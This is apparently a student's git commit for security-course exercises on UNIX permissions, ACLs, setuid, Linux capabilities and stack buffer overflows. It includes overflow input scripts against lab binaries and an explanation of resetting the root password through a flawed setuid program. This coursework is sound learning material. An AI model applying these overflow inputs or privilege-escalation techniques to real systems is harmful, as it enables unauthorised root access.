feat: solve ex 1

.gitignore

@@ -2,3 +2,6 @@
 sheet01/a2/Hash.java
 *.class
 passwd
+sheet04/AuthWithTOTP.java
+sheet04/key-exchange.pcap
+sheet06/a2/assign*

sheet05/a1/archive.sh

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+#!/bin/bash
+# $1 = directory path
+chmod -R a-w "$1"

sheet05/a1/create_user.sh

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+#!/bin/bash
+# $1 = username, $2 = comma-separated groups
+useradd -G "$2" "$1" || usermod -aG "$2" "$1"

sheet05/a1/explanation.txt

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+UNIX permissions only support one Owner, one Group, and Other (UGO). 
+The 'Group' slot is already taken by the specific lecture group to give students write access.
+If we use 'Other' to give the supervisor read access, every user on the system could read it, which would violate the requirements.
+If we add the supervisor to the lecture group, they get write access, which also violates the requirements.
+
+Because a file cannot have multiple groups or user-specific overrides under standard UNIX permissions, this cannot be solved.

sheet05/a1/supervisor.sh

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+#!/bin/bash
+# $1 = supervisor username
+echo "not possible with the standard UNIX permissions. See explanation.txt."

sheet05/a2/archive.sh

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+#!/bin/bash
+TARGET_DIR=$1
+chmod -R a-w "$TARGET_DIR"

sheet05/a2/create_user.sh

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+#!/bin/bash
+USERNAME=$1
+GROUPS=$2
+useradd -G "$GROUPS" "$USERNAME" || usermod -aG "$GROUPS" "$USERNAME"

sheet05/a2/explanation.txt

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+The supervisor's read access would fail with UNIX permissions, since they are limited to one owner, one group, and "others". 
+Access Control Lists (ACLs) resolve this problem by allowing permissions beyond the standard three. 
+Using `setfacl`, we can append specific read and execute rights (r-x) for individual users (the supervisors) directly to the files and directories.

sheet05/a2/supervisor.sh

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+#!/bin/bash
+SUPERVISOR=$1
+# Grant read and execute permissions to the supervisor user recursively
+setfacl -R -m u:"$SUPERVISOR":r-x .
+# Set the default ACL
+setfacl -R -d -m u:"$SUPERVISOR":r-x .

sheet05/a3/a.txt

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+Passwords are stored in the /etc/shadow file, which is restricted to the root user. 
+A standard user cannot write to it directly. However, the passwd executable is owned by root and has the SUID permission set. 
+When a standard user runs passwd, the SUID bit tells the system to execute the program with the privileges of root, 
+giving the program the temporary permissions to update /etc/shadow

sheet05/a3/b.txt

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+The script runs with root privileges because the setuid bit is set. 
+Since it just asks for a username and saves the new hash to /etc/shadow, 
+and there is no validation checking if the user running the program is actually changing their own password, 
+someone could simply run the program, type root as the username, and set a new password for the root user. 
+The script would then overwrite the actual root password in /etc/shadow.

sheet06/a1/a.txt

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+10:16:36 leo@group-20 ~ → sudo chmod u-s /bin/ping
+10:18:59 leo@group-20 ~ → ping google.com
+ping: socktype: SOCK_RAW
+ping: socket: Operation not permitted
+ping: => missing cap_net_raw+p capability or setuid?
+10:19:03 leo@group-20 ~ → sudo setcap cap_net_raw+ep /bin/ping
+10:19:48 leo@group-20 ~ → ping google.com
+PING google.com (142.251.20.138) 56(84) bytes of data.
+64 bytes from bx-in-f138.1e100.net (142.251.20.138): icmp_seq=1 ttl=112 time=10.5 ms
+64 bytes from bx-in-f138.1e100.net (142.251.20.138): icmp_seq=2 ttl=112 time=9.83 ms
+
+The capability is required because ping sends ICMP packets to function.
+It has to create raw network sockets and for that the kernel needs the cap_net_raw capability.
+
+The permitted set grants the executable the right to posess this capability.
+The effective set is needed because ping is not programmed to automatically set the effective set on runtime which is needed for the program to open the raw socket immediately.

sheet06/a1/b.txt

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+10:31:48 leo@group-20 ~ → ls -l /bin/netcat 
+lrwxrwxrwx 1 root root 24 Apr  8  2024 /bin/netcat -> /etc/alternatives/netcat
+10:31:57 leo@group-20 ~ → ls -l /etc/alternatives/netcat 
+lrwxrwxrwx 1 root root 15 Apr  8  2024 /etc/alternatives/netcat -> /bin/nc.openbsd
+10:32:11 leo@group-20 ~ → ls -l /bin/nc.openbsd 
+-rwxr-xr-x 1 root root 39560 Apr  8  2024 /bin/nc.openbsd
+10:31:38 leo@group-20 ~ → sudo setcap cap_net_bind_service+ep /bin/nc.openbsd
+10:32:46 leo@group-20 ~ → netcat -l 81
+GET / HTTP/1.1
+Host: 10.42.23.30:81
+User-Agent: curl/8.20.0
+Accept: */*
+leo@leo-laptop:~$ curl 10.42.23.30:81
+^C
+
+
+
+On linux ports 0-1023 are privileged ports to which only the root user can bind by default.
+By setting the cap_net_bind_service capability the executable can also bind to those lower ports.
+/bin/netcat is only a symlink leading to /etc/alternatives/netcat which is a symlink leading to /bin/nc.openbsd.
+The capabilities are stored in the file's inode. Because symlinks do not support extended attributes in this way the capability has to be stored on the target executable.

sheet06/a2/b.txt

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+Java has bounds checking for arraycopy and other functions built-in, therefore when trying to do the same thing as before we get:
+
+Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: arraycopy: last source index 144 out of bounds for char[128]
+	at java.base/java.lang.System.arraycopy(Native Method)
+	at assignment2b.main(assignment2b.java:14)

sheet06/a2/stack-a.sh

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+echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | "./assignment2a"

sheet06/a2/stack-a.txt

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+The gets function reads into a buffer with 128 bytes from stdin. So to create a buffer overflow, I just need to put in 128 characters (all of the A) and then what we want to be written where the 32 bit integer is at the end (since it's behind the buffer inside of the struct).

sheet06/a2/stack-c.sh

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+./assignment2c AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

sheet06/a2/stack-c.txt

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+Same idea as a here, just that we put in 64 characters this time since the buffer is only 64 characters big. This means 65 A's and the job is done.

sheet06/a2/stack-d.sh

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+NUMBER=$(printf "\x74\x69\x6E\x49")
+./assignment2d AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$NUMBER

sheet06/a2/stack-d.txt

@@ -0,0 +1 @@
+Since we now want to change toChange to a deterministic value, specifically 0x496e6974, I just used printf to generate the ASCII characters for this number and then passed it straight to the program with some extra stuff in front to make the buffer overflow. You just have to put the bytes in reverse order due to little endian and stuff.